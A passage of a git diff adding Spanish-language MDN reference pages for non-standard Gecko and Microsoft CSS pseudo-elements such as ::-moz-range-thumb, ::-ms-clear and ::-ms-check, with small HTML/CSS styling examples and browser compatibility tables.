+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;progress value="30" max="100"&gt;30%&lt;/progress&gt;
+&lt;progress max="100"&gt;Indeterminado&lt;/progress&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">::-moz-progress-bar {
+  background-color: red;
+}
+
+/* Forzar barras indeterminadas para tener ancho cero */
+:indeterminate::-moz-progress-bar {
+  width: 0;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Ejemplos')}}</p>
+
+<p>La primera barra de arriba debe tener este aspecto:</p>
+
+<p><img alt="Custom styled progress bar" class="default internal" src="/@api/deki/files/5387/=redbar.png"></p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-range-progress/index.html b/files/es/web/css/_doublecolon_-moz-range-progress/index.html
new file mode 100644
index 0000000000..22c7889cf0
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-range-progress/index.html
@@ -0,0 +1,115 @@
+---
+title: '::-moz-range-progress'
+slug: 'Web/CSS/::-moz-range-progress'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Web/CSS/::-moz-range-progress'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><a href="/es/docs/Web/CSS">CSS </a><strong><code>::-moz-range-progress</code></strong> representa la parte del "camino" (la ranura sobre la que desliza) de un elemento  {{HTMLElement("input")}} con <code>type="range"</code>, que se corresponde con los valores inferiores al valor seleccionado actualmente en ese "camino".</p>
+
+<div class="note">
+<p>Si usamos  <code>::-moz-range-progress</code> con cualquier otra cosa que no sea  <code>&lt;input type="range"&gt;</code> ni seleccionaremos nada ni conseguiremos ningún efecto.</p>
+</div>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-progress {
+  background-color: green;
+  height: 1em;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 50)}}</p>
+
+<p>Una barra de progreso que utilice este estilo se vería de la siguiente manera:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12041/Screen%20Shot%202015-12-04%20at%2020.14.48.png"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario de Gecko.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>El pseudo-elements que usa Gecko para dar estilo a otras parte de un input con type="range":
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}</li>
+   <li>{{cssxref("::-moz-range-track")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("::-ms-fill-upper")}}</li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilo con CSS a input con type="range" en todos los navegadores.</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilo y usando scripts para elementos deslizantes.</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-range-thumb/index.html b/files/es/web/css/_doublecolon_-moz-range-thumb/index.html
new file mode 100644
index 0000000000..97900536ba
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-range-thumb/index.html
@@ -0,0 +1,119 @@
+---
+title: '::-moz-range-thumb'
+slug: 'Web/CSS/::-moz-range-thumb'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Web/CSS/::-moz-range-thumb'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a><code>CSS</code><strong><code> ::-moz-range-thumb</code></strong> representa el elemento que el usuario puede usar en el <em>"camino"</em> marcado por un elemento  {{HTMLElement("input")}} con <code>type="range"</code> para alterar su valor numérico.</p>
+
+<div class="note">
+<p>Si se usa  <code>::-moz-range-thumb</code> en cualquier elemento  que no sea  <code>&lt;input type="range"&gt;</code> ni se seleccionará nada ni se conseguirá efecto alguno.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-thumb {
+  background-color: green;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 50)}}</p>
+
+<p>Una barra de progreso que utilizara este estilo se visualizarías de la siguiente manera:</p>
+
+<p><img alt="The thumb of the &lt;input type=right> styled in green" src="https://mdn.mozillademos.org/files/12027/Screen%20Shot%202015-12-04%20at%2013.30.08.png"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. El un pseudo-elemento propietario de Gecko.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elements usados por Gecko para dar estilo a otras parte de un input con typue="range":
+  <ul>
+   <li>{{cssxref("::-moz-range-track")}},</li>
+   <li>{{cssxref("::-moz-range-progress")}}</li>
+  </ul>
+ </li>
+ <li>Pseudo-elementos similares usados por otras nevagadores:
+  <ul>
+   <li>{{cssxref("::-ms-thumb")}}, pseudo-elemento soportado por Internet Explorer y Edge.</li>
+   <li>{{cssxref("::-webkit-slider-thumb")}}, pseudo-elemento souportado por WebKit y Blink (Safari, Chrome and Opera).</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Estilos con CSS para input con type="range" en los distintos navegadores.</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y haciendo script con elementos deslizadores.</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-range-track/index.html b/files/es/web/css/_doublecolon_-moz-range-track/index.html
new file mode 100644
index 0000000000..f702065abc
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-range-track/index.html
@@ -0,0 +1,119 @@
+---
+title: '::-moz-range-track'
+slug: 'Web/CSS/::-moz-range-track'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Pseudo-elemento CSS
+  - Referencia
+translation_of: 'Web/CSS/::-moz-range-track'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El  <a href="/es/docs/Web/CSS/Pseudo-elements" title="es/CSS/Pseudo-elements">pseudo-elemento  </a><code>CSS</code><strong><code> ::-moz-range-track</code></strong> representa la trayectoría, es decir la ranura sobre la cual se desliza el indicador de un  {{HTMLElement("input")}} con <code>type="range"</code>.</p>
+
+<div class="note">
+<p>Si usamos  <code>::-moz-range-track</code> con cualquier otra cosa que no sea un  <code>&lt;input type="range"&gt;</code> ni seleccionaremos nada ni se mostrará efecto alguno.</p>
+</div>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input[type=range]::-moz-range-track {
+  background-color: green;
+}
+</pre>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;input type="range" min="0" max="100" step="5" value="50"/&gt;
+</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 50)}}</p>
+
+<p>Un barra de progreso con ese estilo tendrá una apariencia similar a la siguiente:</p>
+
+<p><img alt="A range with the track green." src="https://mdn.mozillademos.org/files/11999/Screen%20Shot%202015-12-04%20at%2010.14.34.png"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Es un pseudo-elemento propietario específico del motor Gecko.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>Los pseudo-elementos usados por Gecko para proporcionar estilos a las distintas partes de un input con type="range":
+  <ul>
+   <li>{{cssxref("::-moz-range-thumb")}}, el cursor deslizándose sobre la ranura.</li>
+   <li>{{cssxref("::-moz-range-progress")}}</li>
+  </ul>
+ </li>
+ <li>Pseudo-elementos similares en otros navegadores:
+  <ul>
+   <li>{{cssxref("::-webkit-slider-runnable-track")}}, pseudo-elemento soportado por WebKit y Blink (Safari, Chrome and Opera).</li>
+   <li>{{cssxref("::-ms-track")}}, pseudo-elemento soportado por Internet Explorer y Edge.</li>
+  </ul>
+ </li>
+ <li><a href="https://css-tricks.com/styling-cross-browser-compatible-range-inputs-css/">CSS-Tricks: Dando estilo con CSS a elementos Input con type="range" para que se muestren correctamente en todos los navegadores.</a></li>
+ <li><a href="http://www.quirksmode.org/blog/archives/2015/11/styling_and_scr.html">QuirksMode: Dando estilos y scripting a elementos deslizantes</a></li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html b/files/es/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html
new file mode 100644
index 0000000000..bbb86d7207
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-moz-scrolled-page-sequence/index.html
@@ -0,0 +1,79 @@
+---
+title: '::-moz-scrolled-page-sequence'
+slug: 'Web/CSS/::-moz-scrolled-page-sequence'
+tags:
+  - CSS
+  - NeedsExample
+  - No estándar(2)
+  - Referencia
+  - Referencia CSS
+translation_of: 'Web/CSS/::-moz-scrolled-page-sequence'
+---
+<p>{{CSSRef}}{{non-standard_header}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS <code>::-moz-scrolled-page-sequence</code> CSS representa el fondo de la previsualización para impresión.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("::-moz-page")}}</li>
+ <li>{{cssxref("::-moz-page-sequence")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_-ms-browse/index.html b/files/es/web/css/_doublecolon_-ms-browse/index.html
new file mode 100644
index 0000000000..7ad4e3c6ec
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-browse/index.html
@@ -0,0 +1,97 @@
+---
+title: '::-ms-browse'
+slug: 'Web/CSS/::-ms-browse'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-browse'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS  <strong><code>::-ms-browse</code></strong> representa el botón para abrir el selector de archivos de un  {{HTMLElement("input")}} con <code>type="file"</code>.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> No se pueden usar todas las propiedades con este pseudo-elemento. Hay una  <a href="https://msdn.microsoft.com/es/library/windows/apps/hh779844.aspx">lista de propiedades permitidas en la documentación MSDN</a>.</p>
+</div>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;label&gt;Select image: &lt;input type="file"&gt;&lt;/label&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input[type="file"]::-ms-browse
+{
+  color: red;
+  background-color: yellow;
+}</pre>
+
+<h3 id="Salida">Salida</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h3 id="Resultado_del_ejemplo">Resultado del ejemplo</h3>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12744/bandicam%202016-03-11%2017-19-55-369.jpg" style="height: 188px; width: 680px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación pero Miscrosoft tiene una  <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh779844.aspx">descripción de :<code>:-ms-browse</code> en MSDN</a>.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/_doublecolon_-ms-check/index.html b/files/es/web/css/_doublecolon_-ms-check/index.html
new file mode 100644
index 0000000000..ce4c6e1c6b
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-check/index.html
@@ -0,0 +1,114 @@
+---
+title: '::-ms-check'
+slug: 'Web/CSS/::-ms-check'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-check'
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-ms-check</code></strong> representa la marca de selección de un {{HTMLElement("input")}} con  <code>type="checkbox"</code> o <code>type="radio"</code>.</p>
+
+<p>No es un elemento estándar y es únicamente soportado por Internet Explorer y Edge, tal y como indica el prefijo  (<code>-ms</code> que indica Microsoft).</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><em>selector</em>::-ms-check
+</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+    &lt;label for="redButton"&gt;Red&lt;/label&gt;
+    &lt;input type="radio" id="redButton"&gt;&lt;br&gt;
+    &lt;label for="greenCheckbox"&gt;Green&lt;/label&gt;
+    &lt;input type="checkbox" id="greenCheckbox"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">input, label {
+    display: inline;
+}
+
+input[type=radio]::-ms-check {
+    color: red; /* Hará que la marca de selección sea roja cuando seleccionemos el botón */
+}
+
+input[type=checkbox]::-ms-check {
+    color: green; /* Hará que la marca de selección sea rverde cuando seleccionemos el botón */
+}
+</pre>
+
+<p>Más abajo tiene disponible un ejemplo para poder probar. El pantallazo a la izquierda muestra que es lo que sucedería al haer click en caso de que no tengas acceso a Internet Explorer o Edge.</p>
+
+<p>{{ EmbedLiveSample('Examples', '', '', 'https://mdn.mozillademos.org/files/13392/ms_check', 'Web/CSS/::-ms-check') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<p>Microsoft tienes una <a href="https://msdn.microsoft.com/en-us/library/windows/apps/hh465739.aspx">descripcón en MSDN</a> que enumera varias propiedades que se pueden modificar en este pseudo-elemento.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>iOS WebKit</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/es/web/css/_doublecolon_-ms-clear/index.html b/files/es/web/css/_doublecolon_-ms-clear/index.html
new file mode 100644
index 0000000000..d5fe9d7ffa
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-clear/index.html
@@ -0,0 +1,113 @@
+---
+title: '::-ms-clear'
+slug: 'Web/CSS/::-ms-clear'
+tags:
+  - CSS
+  - No estándar(2)
+  - Pseudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-clear'
+---
+<p id="comment_text_9">{{non-standard_header}}{{CSSRef}}</p>
+
+<h2 id="MSCLEARLS" name="MSCLEARLS">Resumen</h2>
+
+<p id="MSCLEARLS">El <a href="/es/CSS/Pseudo-elements" title="es/CSS/Pseudo-elements">pseudo-elemento </a>CSS  <strong><code>::-ms-clear</code></strong> sirve para representar un botón (el botón "borrar") en el borde de un elemento  {{HTMLElement("input")}} con type="text". Este botón elimina el valor actual del elemento {{HTMLElement("input")}}. El botón y pseudo-elemento no son parte del estándar y únicamente son soportados por los navegadores Internet Explorer 10 y 11 y Edge 12+, de ahí el prefijo del vendedor  (`-ms` por Microsoft). El botón de borrado sólo se muestra en elementos  {{HTMLElement("input")}} con type="text" que hayan recibido el foco y no estén vacíos.</p>
+
+<h2 id="Síntaxis"><strong>Síntaxis</strong></h2>
+
+<pre class="syntaxbox"> <em>selector</em>::-ms-clear</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h4 id="Contenido_HTML">Contenido HTML</h4>
+
+<pre class="brush: html">&lt;form&gt;
+   &lt;label for="firstname"&gt;First name:&lt;/label&gt;
+   &lt;input type="text" id="firstname" name="firstname" placeholder="First name"&gt;&lt;br&gt;
+
+   &lt;label for="lastname"&gt;Last name:&lt;/label&gt;
+   &lt;input type="text" id="lastname" name="lastname" placeholder="Second name"&gt;
+&lt;/form&gt;
+</pre>
+
+<h4 id="Contenido_CSS">Contenido CSS</h4>
+
+<pre class="brush: css">input,
+label {
+    display: block;
+}
+
+input[type=text]::-ms-clear {
+    color: red;<em> </em>/* Establece el color de la cruz a rojo */
+    /* La cruz se puede ocultar si fijamos el atributo display a "none" */
+}</pre>
+
+<p>{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/::-ms-clear') }}</p>
+
+<p>El siguiente pantallazo muestra, para aquellos que no tengan acceso a IE 10/11 o a  Edge 12+, cómo quedaría esta característica:</p>
+
+<p> <img alt="" src="https://mdn.mozillademos.org/files/12263/ms-clear-example.png" style="display: block; height: 75px; margin: 0px auto; width: 611px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación</p>
+
+<p>Microsoft <a href="http://msdn.microsoft.com/en-us/library/windows/apps/hh465740.aspx">tiene una descripción en MSDN</a> que enumera las distintas propiedades que podemos establecer para este tipo de pseudo-elementos.</p>
+
+<div class="note">
+<p id="comment_text_9">Esta característica sólo está disponible para IE 10-11, ha sido eliminada en la versión más reciente de Microsoft Edge.</p>
+</div>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.0 [1]<br>
+    Edge 12+</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><span style="line-height: 1.5;">[1] En un {{HTMLElement("input")}} de texto al que se le haya dada estilo con  {{cssxref("text-align")}}</span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">: right</code><span style="line-height: 1.5;">,  si se muestra el botón de borrado,  éste cortará el borde derecho del valor contenido en el {{HTMLElement("input")}}. Una solución es esconder el botón usando  {{cssxref("display")}}</span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">: none</code><span style="line-height: 1.5;">.</span></p>
diff --git a/files/es/web/css/_doublecolon_-ms-expand/index.html b/files/es/web/css/_doublecolon_-ms-expand/index.html
new file mode 100644
index 0000000000..99c3a18ccd
--- /dev/null
+++ b/files/es/web/css/_doublecolon_-ms-expand/index.html
@@ -0,0 +1,25 @@
+---
+title: '::-ms-expand'
+slug: 'Web/CSS/::-ms-expand'
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsExample
+  - No estandar
+  - Pesudo-elemento
+  - Referencia
+translation_of: 'Archive/Web/CSS/::-ms-expand'
+---
+<div>{{ CSSRef() }}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h3 id="Resumen">Resumen</h3>
+
+<p>El <a href="/es/CSS/Pseudo-elements" title="es/CSS/Pseudo-elements">pseudo-elemento </a>CSS <strong><code>::-ms-expand</code></strong> representa el botón dentro un {{HTMLElement("select")}} que abre y cierra el menú desplegable que contiene los disferentes elementos {{HTMLElement("option")}}. Normalemente tiene apariencia de triángulo que apunta hacia abajo..</p>
+
+<h3 id="Specification" name="Specification">Especificaciones</h3>
+
+<p>No es parte de ninguna especificación</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/windows/apps/xaml/hh465742.aspx">tiene una descripción en MSDN</a>.</p>
diff --git a/files/es/web/css/_doublecolon_-ms-fill-lower/index.html b/files/es/web/css/_doublecolon_-ms-fill-lower/index.html
new file mode 100644
index 0000000000..33ba4292b4
--- /dev/null
